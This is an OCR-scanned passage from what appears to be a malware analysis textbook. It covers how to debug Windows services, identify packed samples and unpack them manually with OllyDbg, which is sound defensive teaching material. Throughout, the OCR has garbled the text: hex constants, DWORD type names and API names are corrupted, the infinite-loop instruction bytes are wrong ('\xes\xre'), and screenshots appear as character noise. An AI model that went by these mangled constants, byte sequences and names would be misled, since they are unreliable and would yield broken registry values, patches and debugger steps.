While loading individual executables and DLLs for debugging is generally a
pretty straightforward task, things get a little bit more complicated when we talk
about debugging Windows services.



What is service?

Services are tasks that are generally supposed to execute certain logic in the
background, similar to daemons on Linux. So, there is no surprise that malware
authors commonly use them to achieve reliable persistence.

Services are controlled by the Service Control Manager (SCM) implemented
in %SystemRoot%\System32\services.exe. All services have the COITESPOI'Idng
HKLM\SYSTEM\CurrentControlSet\services\<service_name> registry key It contains multiple
values describing the service, including the following:

e 1magepath: A file path to the corresponding executable with optional
arguments

e Type: The rec_oworo value specifies the type of the service. Examples of
supported values include the following:

e oxoo000001 (kernel): In this case, the logic is implemented in a driver
(which will be covered in more detail in chapter 6, Understanding
Kernel-Mode Rootkits, which is dedicated to kernel-mode threats).

e oxoo000010 (OWN): The service runs in its own process.
® 0x00000020 (Share): The service runs in a shared process.

e start: Another rec_oworo Value, which describes the way the service is
supposed to start. The following options are commonly used:

® ox00000000 (boot) and exeeeeeee1 (system): These values are used for
drivers. In this case, they will be loaded by the boot loader or during
the kernel initialization respectively.

® oxo00000002 (auto): The service will start automatically each time the
machine restarts, the obvious choice for malware.

® oxo0000003 (demand): Specifies a service that should be started
manually. This option is particularly useful for debugging.



® oxo0000004 (disabled): The service won't be started.
There are two ways the user-mode service can be designed:

e As an executable: Here, the actual logic is implemented in a dedicated
executable file, and the previously-mentioned 1magepath will contain its full
file path.

e As a DLL: Here, instead of having its own EXE file, all service logic is
implemented in a DLL loaded into the address space of one of the
svchost .exe processes. In order to be loaded, malware generally creates a new
gTOLQ)iD,ﬂ]e HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost registry
key and later passes this value to the svchost.exe using the -« argument. The
path to the DLL will be specified not in the mmagerath value of the service
registry key as in the previous case (here, it will contain the path of the
svchost.exe With the service group argument) but in the serviceni1 value of the
HKLM\SYSTEM\CurrentControlSet\services\<service_name>\Parameters registty”keynffhe
service DLL should contain the servicemain export function. If
the svchostpushserviceGlobals export is present, it will be executed before

ServiceMain.

The user-mode service with a dedicated executable can be registered using the
standard sc command line tool like this:

| sc create <service_name> type= own binpath= <path_to_executable>

The process is slightly more complicated for DLL-based services:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "<service_group>"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<service_name>\Parameters" /v ServiceDll]
sc create <service_name> type= share binpath= "C:\Windows\System32\svchost.exe -k <servi

Using this approach, the created service can be started on demand when
necessary, for example, by using the following commands:

|sc start <service_name>

Or:

|net start <service_name_or_display_name>



Attaching to the service

There are multiple ways services can be attached to immediately once they start:

¢ Creating a dedicated registry key: It is possible to create a key such as
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

<filename> With the corresponding string data value pebugger containing the
full path to the debugger to be attached to the service once the program with
the specified <rilename> starts. Here, there is a nuance that the window of the
attached debugger may not appear if the service is not interactive. It can be
fixed using one of the following ways:

e Open services.msc, then open Properties for the debugged service, then
go to the Log On tab and set a tick against the Allow service to interact
with desktop option.

e It can also be done manually by opening the Type value of the
HKLM\SYSTEM\CurrentControlSet\services\<service_name> registry key and
replacing its data with the result of a binary or operation with the
current Value and 0x00000100 DWORD (SERVICE_INTERACTIVE_PROCESS flag). FOF
example, exeooo0010 Will become oxeoeee110.

¢ In addition, it can be originally created as interactive when using the sc tool
with the type= interact type= own O type= interact type= share arguments.
Another option here is to use remote debugging.

e Using GFlags: The GFlags tool (the Global Flags Editor), which is part of
the Debugging Tools (the same as WinDbg), provides multiple options for
tweaking the process of debugging the candidate application. To attach the
debugger, it modifies the registry key mentioned previously, so both
approaches can be used pretty much interchangeably in this case. In order
to do it using its Ul, it is required to set the filename of the program of
interest (not the full path) to the Image File tab, the 1mage field, then refresh
the window using the Tab key and set a tick against the pebugger field where
the full path to the debugger of preference should be specified. As in the
previous case, it is required to make sure the service is interactive.

e Enabling child debugging: Here, it is possible to attach to services.exe with
a debugger supporting breaks on the child process creation, enable it (for
example, with the .childdbg 1 command in WinDbg) and then start the
service of interest.



¢ Patching the EntryPoint: The idea here is to put \xes\xre bytes to the
EntryPoint of the analyzed sample that represents sve instruction to redirect
the execution to the start of itself which creates an infinite loop. Then, it
becomes possible to find the corresponding process (it will consume a large
amount of CPU resources), attach to it with a debugger, restore the original
bytes, and continue execution as usual while making sure that the restored
instructions are successfully executed.

Once the debugger is attached, it is possible to place the breakpoint at the
EntryPoint of the sample to stop the execution there and then you can patch
again the first 2 bytes (which has been changed to \xes\xre) to return back the
original first 2 bytes.

The common problem with debugging services is the timeout. By default, the
service gets killed after about 30 seconds if it didn't signal that it was executed
successfully, which may complicate the debugging process. For example,
WinDbg in this case accidentally starts showing a no runnable debuggees error when
trying to execute any command. In order to extend this time interval, it is
required to create or update the oworp servicespipeTimeout Value in

the HkLm\sysTEM\CurrentControlset\control registry key with the new timeout in
milliseconds and restart the machine.

The service DLL's exports, such as servicemain, can be debugged using any of the
previously-mentioned approaches. In this case, it is possible to either attach to
the corresponding svchost.exe process immediately once it is created and enable
breaking on DLL load (for example, using the sxe 1d[:<d11_name>] command in
WinDbg) or patch the DLL's EntryPoint or any other export of interest with the
infinite loop instruction and attach to svchost.exe at any time once it started.

This brings us to the end of this exciting chapter. Let's now take quick peep into
what we have learned and what we will cover in chapter 3, Unpacking,
Decryption, and Deobfuscation.



Summary

In this chapter, we have covered the PE structure of Windows' executable files.
We have covered the PE header field by field and examined its importance for
static analysis, finishing with the main questions for incident handling and threat
intelligence that the PE header of this sample can help us to answer.

We also covered the dynamic link libraries and how PE files that reside together
in the same virtual memory are able to communicate and share code and
functions through what are called APIs. And we covered how import and export
tables work.

We also covered the dynamic analysis from the basic foundation, such as what a
process is and what a thread is with step-by-step guidance on how Windows
creates a process and loads a PE file, from your double-click on an application in
Windows Explorer until the program is running in front of you.

And, last but not least, we have covered the dynamic analysis of malware with
OllyDbg, going through the most important functionalities of this tool in order to
monitor, debug, and even modify the program execution. We talked about the
different types of breakpoints, how to set them, and how they actually work
internally so you can later understand how they can be detected by the malware,
and how to bypass their anti-reverse engineering techniques.

By the end of this chapter, you should be able to have the basic foundation to
perform a basic malware analysis, including static and dynamic analysis. You
should also have an understanding of what questions you need to answer in each
step and the whole process you need to follow to have a full understanding of
this malware functionality.

In chapter 3, Unpacking, Decryption and Deobfuscation, we will take our
discussion and venture into unpacking, decryption, and deobfuscation from the
context of malware. We will explore different techniques introduced my
malware authors to bypass detection and amateur reverse engineers. We will also
learn how to bypass these techniques and deal with them.



Unpacking, Decryption, and
Deobfuscation

In this chapter, we are going to explore different techniques that have been
introduced by malware authors to bypass antivirus software static signatures and
amateur reverse engineers, that is, packing, encryption and obfuscation. We will
learn how to identify packed samples, how to unpack them, how to deal with
different encryption algorithms—from simple ones, such as sliding key
encryption, to more complex algorithms, such as 3DES, AES, and Public Key
Encryption (PKA)—and how to deal with API encryption, string encryption,
and network traffic encryption.

This chapter will help you deal with malware that uses packing and encryption
to evade detection and amateur reverse engineering. With the information in this
chapter, you will be able to manually unpack malware samples with custom
types of packers, understand the malware encryption algorithms that are needed
to decrypt its code, strings, APIs, or network traffic, and extract its infiltrated
data. You will also understand how to automate the decryption process using
IDA Python scripting.

This chapter is divided into the following sections to facilitate the learning
process:

Exploring packers

Identifying a packed sample

Performing automatic unpacking of packed samples
Manually unpacking using OllyDbg

Dumping the unpacked sample and fixing the import table
Identifying basic encryption algorithms and functions
String search detection techniques for simple algorithms
Identifying the RC4 encryption algorithm

Standard symmetric and asymmetric encryption algorithms
Applications of encryption in modern malware—Vawtrak banking Trojan
Using IDA for decryption and unpacking



Exploring packers

A packer is a tool that packs together the executable file's code, data, and
sometimes resources, and contains code for unpacking the program on the fly

and executing it:
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Figure 1: The process of unpacking a sample

Packed Flle

New MZ-PE Header

Unpacking
code

Unpached Filg
in Memory

Original MZ-PE
Header

Section {

\

J




Packers help malware authors hide their malicious code behind this compression
layer. This code only gets unpacked and executed once the malware is executed
(in runtime mode), which helps malware authors bypass static signature-based
detection.



Exploring packing and encrypting
tools

There are multiple tools that can pack/encrypt executable files, but each has a
different purpose. It's important to understand the difference between them as
their encryption techniques are customized for the purpose they serve. Let's go
over them:

e Packers: These programs mainly compress executable files, thereby
reducing their total size. Since their purpose is compression, they were not
created for hiding malicious traits and are not malicious on their own.
Therefore, they can't be indicators that the packed file is likely malicious.
There are many well-known packers around, and they are used by both
benign software and malware families—for example:

e UPX: This is an open source packer, and its command-line tool has the
ability to unpack the packed file.

e ASPack: This is a commonly used packer which has a free and a
premium version. The same company that provides ASPack also
provides protectors such as ASProtect.

o Legal protectors: The main purpose of these tools are to protect against
reverse engineering attempts—for example, to protect the licensing system
of shareware products or to hide implementation details from competitors.
They often incorporate encryption and various anti-reverse engineering
tricks. Some of them might be misused to protect malware, but this is not
their purpose.

e Malicious encryptors: Similar to legal protectors, their purpose is also
to make the analysis process harder; however, the focus here is different: to
avoid antivirus detection, you need to bypass sandboxes and hide the
malicious traits of a file. Their presence indicates that the encrypted file is
more than likely to be malicious as they are not available on the legal
market.

In reality, all of these tools are called packers and may include both protection



and compression capabilities.



Identifying a packed sample

There are multiple tools and multiple ways to identify whether the sample is
packed. In this section, we will take a look at different techniques and signs that
you can use, from the easiest and most straightforward to more intermediate

ones.



Technique 1 — checking PE tool static
signatures

The first way to identify whether the malware is packed is by using static
signatures. Every packer has unique characteristics that can help you identify it.
For example, the UPX packer renames all sections as UPX1, UPX2, and so on,
while the ASPack packer names the last section .aspack. Some PE tools, such as
PEiD and CFF Explorer, are able to scan the PE file using these signatures or
traits and identify the packer that was used to compress the file (if it's packed);
otherwise, they will identify the compiler that was used to compile this
executable file (if it's not packed):

P8 PEID v0.95 | =10 x|

File: | @:hchavl. exe

Entrypoint: | 000306C0 EF Section: | LPx1 =
File OFfset: [00010ACD First Bytes: |60,BE,00,30 | =
Linker Info: 9.0 Subsystern: | Win3z GUI =

|L|F'.'5'-’. 0.89.6-1.02 f 1.05- 2,90 - = Markus & Laszlo
Mulki Scan Task Viewer Cpkions Abaouk Euik

2 Skay on bop s -

Figure 2: PEID tool detecting ASPack

All you need to do is open this file in PEiD—you will see the signature that was
triggered on this PE file (in the preceding diagram, it was identified as ASPack).
However, since they can't always identify the packer/compiler that was used, you
need other ways to identify whether it's packed, and what packer was used, if
any.



Technique 2 — evaluating PE section
names

Section names can reveal a lot about the compiler or the packer, if the file is
packed. An unpacked PE file contains sections such as .text Or .code, .data, .idata,
.rsrc, and .reloc, while packed files can contain specific section names, such

dS uPxe, .aspack, .stub, and so on:

EP Section: |[LP%1 .‘
ke | G e 0 A

Subsystem: |Win3z GLI Mame | Y.Offset | V.See | R.OFfset | R.See | Flags |

LP%0 00001000 00012000 OOOOO400 00000000  EOOO0080
e LP%1 00013000 OOOIE0O0  OOOOO400  0001DAO0  EO000040
grel) 15t 00031000 00002000 OOOIDEOD  ODOOOIEOD  COOOOO40

Abouk Exi
B

£

Close

Figure 3: PEID tool's section viewer

These section names can help you identify whether this file is packed. Searching
for these section names on the internet could help you identify the packer that
uses these names for its packed data or its stub (unpacking code). You can easily
find the section names by opening the file in PEiD and clicking on the > button
beside the EP Section. By doing this, you will see the list of sections in this PE
file, as well as their names.



Technique 3 — using stub execution
Signs

Most packers compress PE file sections, including the code section, data section,
import table, and so on, and then add a new section at the end which contains the
unpacking code (stub). Since most of the unpacked PE files start the execution
from the first section (.text Or .code), the packed PE files start the execution from
one of the last sections, which is a clear indication that a decryption process will
be running. The following signs are an indication that this is happening;:

e The entry point is not pointing to the first section (it would mostly be
pointing to one of the last two sections) and this section's memory
permission is executasLe (in the section's characteristics)

e The first section's memory permission will be mostly reaowrite

It is worth mentioning that many virus families that infect executable files have
similar attributes.



Technique 4 — detecting a small
import table

For most applications, the import table is full of APIs from system libraries, as
well as third-party libraries; however, in most of the packed PE files, the import
table will be quite small, and will include a few APIs from known libraries. This
is enough to unpack the file. Only one API from each library of the PE file
would be used after being unpacked. The reason for this is that most of the
packers load the import table manually after unpacking the PE file, as you can
see in the following screenshot:

DliName OriginalFirstThunk TimeDateStamp | ForwarderChain | Name FirstThunk. ~ DliName COriginalFirstThunk TimeDateStamp | ForwarderChain | Name FirstThunk. ~
KERNEL32.dl 00008B04 00000000 00000000 00009 1E8 00D080E0 ADVAPIZZ.dI 00000000 00000000 00000000 001D3E88  001D3IEIC
user32.dl 00008C38 00000000 00000000 00009612 00008194 COoMCTL32.dIl 00000000 00000000 00000000 001D3ES5 001D3E44
GDI32.dIl 0000BAED 00000000 00000000 00009644 0000803C GDI32.dI 00000000 00000000 00000000 D01D3EA2 D01D3E4C
SHELL32.dl 00008C1C 00000000 00000000 00009730 DODDB178 KERNELZZ.DLL  DOOODODOD 00000000 00000000 ODID3EAC  DDID3ES4
ADVAPTZZ.dIl 0D00BAAG 00000000 00000000 00009702 DODOSOOD ole3z2.dl 00000000 00000000 00000000 001D3EBY 001D3E68
coMcTLa2.dl - DODDBACC 00000000 00000000 00D09B1E 00008028 sHELL32.dl 00000000 00000000 00000000 001ID3EC3  001DIET0
ole32.dll 00003050 00000000 00000000 00009872 0000B2AC USER32.dll 00000000 00000000 00000000 001D3ECF 001D3E78
VERSION.dI 00008040 00000000 00000000 000093BE 0000829C o VERSION.dIl 00000000 00000000 00000000 D01D3EDA D01D3E80 v
Thunk RVA Thunk Offset | Thunk Value Hint/Ordinal AFI Name ~ Thunk RVA Thunk Offset | Thunk Value Hint{Ordinal AP Name

00008000 DO0DEZ00 00009754 0250 RegEnumKey\i OD1D3ESC 000BF43C OD1D3EES oooo RegEnumKeyw

00008004 00006804 00008768 0261 RegOpenKeyEx\W

00008008 00006808 0000374C 0230 RegCloseKey

0000300C 0000&30C 0000973C 0244 RegDeletekeyW

00003010 0000E810 000037Ch 0248 RegDeleteValueW

00008014 00006814 D0DDSTAE 0239 RegCreateKeyExW

00008018 00006818 0000S78C 027 RegSetvalueExW

0000801C 0000681C 00003788 026E RegQueryValusExW &

Close Close

Figure 4: The import table of an uhpacked sample versus a packed sample with UPX

The packed sample removed all the APIs from aovar1s2.d11 and left only one, so
the library will be automatically loaded by Windows Loader (it loads the
program if there's a missing library). After unpacking, the unpacker stub code
will load all of these APIs again using the cetprocaddress API.

Now that we have a fair idea of how to identify a packed sample, let's venture
forward and explore the automatic unpacking of packed samples in the next
section.



Automatically unpacking packed
samples

Before you dive into the manual, time-consuming unpacking process, you need
to try some fast automatic techniques first to get a clean unpacked sample in no
time at all. In this section, we will explain the most well-known techniques for
quickly unpacking samples that are packed with common packers.



Technique 1 — the official unpacking
process

Some packers, such as UPX or WinRAR, are self-extracting packages that
include an unpacking technology that's shipped with the tool. As you may know,
these tools are not created to hide any malicious traits, so some of them provide
these unpacking features for both developers and end users.

In some cases, the malware uses a commercial protector in an illegal way to
protect its malware from reverse engineering and detection. In this case, you can
even directly contact the protection provider to unprotect this piece of malware
for your analysis.



Technique 2 — using OllyScript with
OllyDbg

There is an OllyDbg plugin called OllyScript that can help automate the
unpacking process. It does this by scripting OllyDbg actions, such as setting a
breakpoint, continuing execution, and pointing the EIP register to a different
place or modifying some bytes.

Nowadays, OllyScript is not widely used, but it definitely provided inspiration
for the next technique.



Technique 3 — using generic
unpackers

Generic unpackers are debuggers that have been prescripted to unpack specific
packers or to automate the manual unpacking process, which we will describe in
the next section:
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Figure 5: The QuickUnpack tool in detail

They are more generic and can work with multiple packers, even if the packers
were not designed to unpack their files: however, malware can easily escape
from these tools, which may lead to the execution of the malware on the user's
machine. Because of this, you should always use these tools on a virtual machine



or in a safe environment.



Technique 4 — emulation

Another group of tools worth mentioning is emulators. Emulators are
programs that simulate the execution environment, including the processor (for
executing instructions, dealing with registers, and so on), memory, the
operating system, and so on.

These tools have more capabilities for running malware safely (as it's all
simulated) and have more control over the execution process. Therefore, they
can help set up more sophisticated breakpoints, and can also be easily scripted
(like libemu and the Pokas x86 Emulator), as shown in the following code:

from pySRDF import *
emu = Emulator("upx.exe")
X = emu.SetBp("__isdirty(eip)") #which set bp on Execute on modified data

emu.Run() # OR emu.Run("ins.log") to log all running instructions
emu.Dump("upx_unpacked.exe",DUMP_FIXIMPORTTABLE) #DUMP_FIXIMPORTTABLE create new import
print "File Unpacked Successfully\n\nThe Disassembled Code\n----------------

In this example, we used the Pokas x86 Emulator. It was much easier to set more
complicated breakpoints, such as execute on modified data, which gets triggered
when the instruction pointer (EIP) is pointing to a decrypted/unpacked place in
memory.



Technique 5 — memory dumps

The last technique we will mention is incorporating memory dumps. This
technique is widely used, as it's one of the easiest for most packers and
protectors to use (especially if they have anti-debugging techniques), as it
basically involves executing the malware and taking a memory snapshot of its
process and every process it injects code into.

This technique is very beneficial for static analysis, as well for static signature
scanning; however, the memory dump that is produced is different from the
original sample and can't be executed. The addresses and the import table need
to be fixed before any further dynamic analysis is possible.

Some common sandboxing tools provide a process's memory dump as a core
feature or as one of their plugins' features, such as Cuckoo Sandbox.

Since this technique doesn't provide a clean sample, and because of the
limitations of the previous automated techniques we described, understanding
how to unpack malware manually can help you with these special cases, which
you will see from time to time. With manual unpacking, and by having an
understanding of anti-reverse engineering techniques (these will be covered in cn
apter 5, Bypassing Anti-Reverse Engineering Techniques), you will be able to
deal with the most advanced packers.

In the next section, we will explore manual unpacking with OllyDbg.



Manual unpacking using OllyDbg

Since automated unpacking is faster and easier to use than manual unpacking, it
doesn't work with all packers, encryptors, or protectors. This is because some of
them require a manual, custom way to unpack. Some of them have anti-VM
techniques or anti-reverse engineering techniques, while others use unusual APIs
or assembly instructions that the emulators can't detect. In this section, we will
look at different techniques for manually unpacking malware.

When it comes to unpacking, many reverse engineers prefer to just execute the
original sample, dump the whole process memory, and hope that the unpacked
module will be available there. While quite fast, this approach also has multiple
disadvantages, such as the following:

e It is possible that the unpacked sample will already be mapped by sections
and that the import table will already have been populated, so the engineer
will have to change the physical addresses of each section to be equal to the
virtual ones, restore imports, and maybe even handle relocs in order to
make them executable again. The hash of this sample will be different from
the original one.

e The original loader may unpack the sample to allocated memory, inject it
somewhere else, and free the memory so that it won't be a part of the full
dump.

e It is very easy to miss some modules; for example, the original loader may
unpack only a sample for a 32- or 64-bit platform.

The much cleaner way is to stop unpacking when the sample has just been
unpacked, but hasn't been used yet. This way, it will just be an original file. By
doing this, its hash can be used for threat intel purposes.

In this section, we will cover several common universal methods of unpacking
samples.



Technique 6 — memory breakpoint on
execution

This technique is very straightforward. Many packers encrypt the first few
sections (including the code section), and the unpacker stub just unpacks each of
them and then transfers control to the original entry point (OEP) for the
application to run normally. We don't know the OEP, but we can easily assume
that it's in the first section and that we can set a breakpoint to catch any
execution of instructions there.



Step 1 — setting the breakpoints

We can use a hardware breakpoint on execution, but this breakpoint can be only
set on a maximum of four bytes, which means that you have to know the OEP to
be able to set one. The more effective solution is to use memory breakpoints on
execution.

The ability to use memory breakpoints on execution is available in OllyDbg, and
can be accessed by going to View | Memory. Now, we can change the first
section's memory permissions to reaowrrTe if it was Full access:

00400000/ 00001000 Ixeshe u PE header Imag R RWE

00401000 0000C000 Ixeshe u UPXO0 M;a;’e = = |
0040D000| 00004000 Ixeshe u|UPX1 code j

00411000| 00001000 Ixeshe u|UPX2 data, § | SeSEEED

004E0000 | 00007000 Dump

007B0000 | 00003000 Search Ctrl+B

72E20000| 00001000 WINHTTP PE hez

72E21000| 0004D000 WINHTTP |.text coda , § IS EERTTE R =

72E6E000 | 00001000 WINHTTP | .data data Set mamaory breaknaint on accecs

72E6F000| 00005000 WINHTTP | .rsrc resour Set memory breakpoint on wiike

T2E74000| 00004000 WINHTTP .reloc reloczs e . R
72E90000 | 00001000 webio PE hez

72E91000| 00032000 | webio .text code, i Set break-on-exscute Read only
72EC3000| 0000A000 webio .data data Read/wri
72ECD000 | 0000F000 | webio .rsrc resour  Copytoclipboard g Bxecute
72EDC000| 00003000 webio .reloc relocs Sort by » Execute/read
73270000 | 0005C000 Appearance > Pl e
748D0000 | 00008000 TTHag | K TRWE T

TARINNNN | NDNITNNN Tmarr | R

RWE
Figure 6: Changing memory permissions in OllyDbg

In this case, we can't execute code in this section until it gets execute permission.
By default, in multiple Windows versions, it will still be executable for
noncritical processes, even if the memory permissions don't include the execute
permission. Therefore, you need to enforce what's called Data Execution
Prevention (DEP), which enforces the execute permission and doesn't allow any
non executable data to be executed.

This technology is used to prevent exploitation attempts, which we will cover in
more detail in chapter 7, Handling Exploits and Shellcode; however, it comes in
handy when we want to unpack malware samples easily.



Step 2 — turning on Data Execution
Prevention

To turn on DEP, you can go to Advanced System Settings and then Data
Execution Prevention. You will need to turn it on for all programs and services,
as shown in the following screenshot:
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Figure 7: Changing DEP settings on Windows

Now, these types of breakpoint should be enforced and the malware should be
prevented from executing in this section, particularly at the beginning of the
decrypted code (OEP).



Step 3 — preventing any further
attempts to change memory
permissions

Unfortunately, this is not enough. The unpacking stub can easily bypass this
breakpoint by changing the permission of this section to full access again by
using the virtualprotect API.

This API gives the program the ability to change the memory permissions of any
memory chunk to any other permissions. You need to set a breakpoint on this
API by going to CPU View and right-clicking on the disassemble area. C | Go To
| Expression (or Ctrl + G), type in the name of the API (in our case, this

is virtualprotect) and set a breakpoint on the address it takes you to.

If the stub tries to call virtualprotect to change the memory permissions, the
debugged process will break and you can change the permission it tries to set on
the first section. You can change the newprotect value to reabonLy or reapwriTe and
remove the execute bit from it:

SRR 0040F40C |rCALL to VirtualProtect from Ixeshe a.0
0018FF44 00401000/ ~cddress ~ Ixeshe a.00401000
"F48| 00008000 2 8000 (327€3.)
00000020 || NewProtect = PAGE_EXECUTE_READ
0040F5F4 - ¢ = Ixeshe a.0040F5F4
00000006

Figure 8: Finding an address that VirtualProtect API changes permissions for



Step 4 — executing and getting the
OEP

Once you click Run, the debugged process will break directly on the OEP, which
will can an access violation error to appear, as you can see in the following
screenshot:

B x] wN] wid R M|« G E] M| T W) | €] 7| K| BI R| | 8] ]2
00408B86 B PUSH EBP w.tﬂ
00408887 BBEC MOV EBP,ESP EAX 001
)0408B89| 6A FF PUSH -1 ECX 000
00408888, 68 E8904000 PUSH Ixeshe u.004090E8 EDX 004
00408890 68 308B4000 PUSH Ixeshe u.00408B30 EBX TEF]
00408895, 64:A1 00000000 |MOV EAX,DWORD PTR FS:[0]  |psp 001
00408B9B| 50 PUSH EAX EBP 001
0040889C| 64:8925 0000000(MOV DWORD PTR FS:[0],ESP  |gs1 000
00408BA3| B3EC 68 SUB ESP, 68 EDI 000
00408BA6| 53 PUSH EBX |
00408BA7| 56 PUSH ESI |E1R 004
00408BAB| 57 PUSH EDI C1 ES
00408589 8965 E8 MoV DHORDNPTRISSHIEEBSIN, . o
00408BAC| 33DB XOR EBX,EBX AO SS
00408BAE| 895D FC MOV DWORD PTR SS:[EBP-4] .E |, o s
W 12 LHSH 2 .
EBP=0018FF94 : ool
D 0
00 Ila
I I -
Access violalion when executing [00408886] - use ShitsF 7/F8/F3 to pass exception to program [ [Paused
I

Figure 9: Staying at the OEP of the sample in OllyDbg

This is not always the case, as some packers modify the first few bytes of the
first section with instructions such as ret, jmp, cal1, just to make the debugged




process break on this breakpoint; however, after a few iterations, the program
will break. This occurs after full decryption/decompression of the first section,
which it does in order to execute the original code of the program.



Technique 7 — call stack backtracing

The call stack is a relatively hard topic to understand, but it is very useful for
speeding up your malware analysis process. It's also useful in the unpacking
process.

Take a look at the following code and imagine what the stack will look like:

func 01:
1: push ebp
2: mov esp, ebp ;now ebp = esp

3: call func 02
func 02:
4: push ebp ;which was the previous esp before the call
5: mov ebp, esp ;now ebp = new esp
5: call func 03
func 03:
6: push ebp ;which is equal to previous esp
7: mov ebp, esp ; ebp = another new esp

You will notice that, just after the return address from ca11 funces in the stack, the
address of the previous esp is stored. The previous esp value is stored in the stack.
This stored esp value points to the top of the stack, just after instruction 5. On top
of the stack from this previous esp value, the first esp value is stored (this is
because of instruction 4 of ebp is equal to the first esp value) and followed by the
return address from cal1 funcez, and so on.

Here, the stored esp value is followed by a return address. This esp value points to
the previously stored esp value, followed by the previous return address, and so
on. This is known as a call stack. The following screenshot shows what this
looks like in OllyDbg:
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Figure 10: Stored values followed by a return address in OllyDbg

As you can see, the stored esp value points to the next call stack (another stored
esp value and the return address of the previous call), and so on.

OllyDbg includes a view window for the call stack that can be accessed through
View | Call Stack. It looks as follows:




kddress |Stack Procedure Called from Frame

0012Fee8 | 778680594 |Maybe ntdll . EiFestiystemCall |ntdll. ZwBequestWaitBeplyPori0012Fe88
0012FeeC| 77875522 [ntdll. ZwRequestiaitReplyPort |ntdll. 77875510 0012Fe88
0012Fe8C|7777CBeC |ntdll . CarClientCallServer kernell2.7777CBoe 0012Fe88
0012F770|7777CBFC|? kerneldi.TTTTCAE kerneldl WriteConsoled+l3d |[0012F7eC
0012F78C|7777C5¢4 (kerneldZ WriteConsolel kernel32.7777CS5F 0012E788
0012F7EB |0040B543 |7 kernel3di.WriteFile hello.0040B53D 0012F7E4
0012FD24 0040B835 |7 hello.0040B1D0 hello.0040BB30 0012Fa88
0012FDEB |0040B16B|? hello.0040B75¢ hello.0040Bles 001ZFLE4
0012FEOC| 00405848 (hello.0040B0ZC hello. 00405843 0012ZFEQB
0012FE48 |004025FC|? hello.0040572E hello. 00402587 0012FE44
0012FE54 [00402BAD hello.004025ED hello.00402BAS 0012FEDD

Figure 11: Call stack window in OllyDbg

Now, you may be wondering: how can the call stack help us unpack our malware
in a fast and efficient way?

Here, we can set a breakpoint that we are sure will make the debugged process
break in the middle of the execution of the decrypted code (the actual program
code after the unpacking phase). Once the execution stops, we can backtrace the
call stack and go back to the first call in the decrypted code. Once we are there,

we can just slide up until we reach the start of the first function that was

executed in the decrypted code, and we can declare this address as the OEP.




Step 1 — setting the breakpoints

To apply this approach, you need to set the breakpoints on the APIs that the
program will execute at some point. You can rely on the common APIs that are
getting used, your behavioral analysis, or a sandbox report that will give you the
APIs that were used during the execution of the sample.

Some examples of some known APIs
dreé GetModuleFileNameA, GetCommandline, CreateFileA, VirtualAlloc, HeapAlloc, memset, and so
Oo1.

First, you set a breakpoint on these APIs (use all of your known ones, except the
ones that could be used by the unpacking stub) and execute the program until the
execution breaks:

OOIBF‘&IH
004088C5 | RETURN to Ixeshe u.004088C5 from WINHTTP.WinHttpOpen
0018BEFCS8 UNICODE "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5

Figure 12: The return address in the stack window in OllyDbg

Now, you need to check the stack, since most of your next steps will be on the
stack side. By doing this, you can start following the call stack.



Step 2 — following the call stack

Follow the stored esp value in the stack and then the next stored esp value until
you land on the first return address, as shown in the following screenshot:

_0018FF88 |
00408BCBA | RETURN to Ixeshe u.00408BCBA from Ixeshe u.0040106E

0040[{:}00 Ixeshe u.00400000
Figure 13: The last return address in the stack window in OllyDbg

Now, follow the return address on the disassembled section in the CPU window,
as follows:

00408CA9| 58 POP EAX

0408CAA| 50 PUSH EAX

00408CAB| 56 PUSH ESI

)0408CAC| 53 PUSH EBX

00408CAD| 53 PUSH EBX

0408CAE| FF15 38904000 |CALL DWORD PTR DS:[409038] kernel32.GetModuleHandleA
00408CB4| 50 PUSH EAX

00408CB5 ES BAB3FFFF CALL Ixeshe u.0040106E

00408CBA| 8945 98 MOV DWORD PTR SS: [EBP-68] ,EAX

0408CBD| 50 PUSH EAX

J0408CEE| FF15 8C904000 |CGALL DWORD PTR DS:[40908C] MSVCRT . exit

Figure 14: Following the last return address in OllyDbg

Now, you have reached the first call in the unpacked section, and the only step
left is reaching the OEP.



Step 3 — reaching the OEP

Now, you only need to slide up until you reach the OEP:

00408B7D| 50 PUSH EAX

00408BTE| €3 RETN

00408B7F| CC INT3

J0408B80 -FF25 6C904000 |JMP DWORD PTR DS:[40906C] MSVCRT .memcpy
00408886 55 . DUSH EBP

0408BB7| BBEC MOV EBP ESP

00408B83| 6A FF PUSH -1

J040EBBB, 68 EB304000 PUSH Ixeshe u.004050E8

00408B50| 68 308B4000 PUSH Ixeshe u.00408B30 JMP to MSVCRT. except handler3
00408895| 64:A1 00000000 MOV EAX,DWORD PIR FS:[0]

00408B9B| 50 PUSH EAX

040889C| 64:8925 0000000(MOV DWORD PTR FS§:[0] ESP

00408BA3| B3EC 68 SUB ESP, 68

00408BA6| 53 PUSH EBX

00408BAT| 56 PUSH ESI

J0408BAB| 57 PUSH EDI

00408RA9| 8965 EB MOV DWORD PTR SS: [EBP-18] ESP

J0408BAC| 33DB XOR EBX,EBX

00408BAE| 895D FC MOV DWORD PIR SS:[EBP-4] EBX

00408EE1| 6A 02 PUSH 2

00408BB3| FF15 AC904000 |CALL DWORD PTR DS:[4090AC] MSVCRT. _set app type
00408BBY| 59 POP ECX

00408BBA| 830D FCD24000 F1OR DWORD PTR DS: [40D2FC] ,FFFFFFFF

(00408BC1| 830D 00034000 F1OR DWORD PTR DS:[40D300] ,FFFFFFFF

00408BCE| FF15 A8904000 |CALL DWORD PTR DS:[4090A8] MSVCRT. p fmode

" Figure 15: Finding the OEP in OllyDbg

This is the same entry point that we were able to reach in the previous
technique.

It's a simple technique to use and it works with many complex packers and
encryptors. However, this technique could lead to the actual execution of the
malware or at least some pieces of its code, which makes it inefficient, in some
cases.



Technique 8 — monitoring memory
allocated spaces for unpacked code

This method is extremely useful if the time to analyze a sample is limited, or if
there are many of them, without going into the details of how the sample is
actually stored.

The idea here is that the original malware usually allocates a big block of
memory in order to store the unpacked/decrypted embedded sample. We will
cover what happens when this does not happen later.

There are multiple Windows APIs that can be used for allocating memory in user
mode. Attackers generally tend to use the following ones:

VirtualAlloc/VirtualAllocEx
LocalAlloc
GlobalAlloc

HeapAlloc

In kernel mode, there are other functions such as rtia1iocateneap,
ZwAllocatevirtualMemory, and ExallocatePoolwithTag that can be used in pretty much the
Same wady.

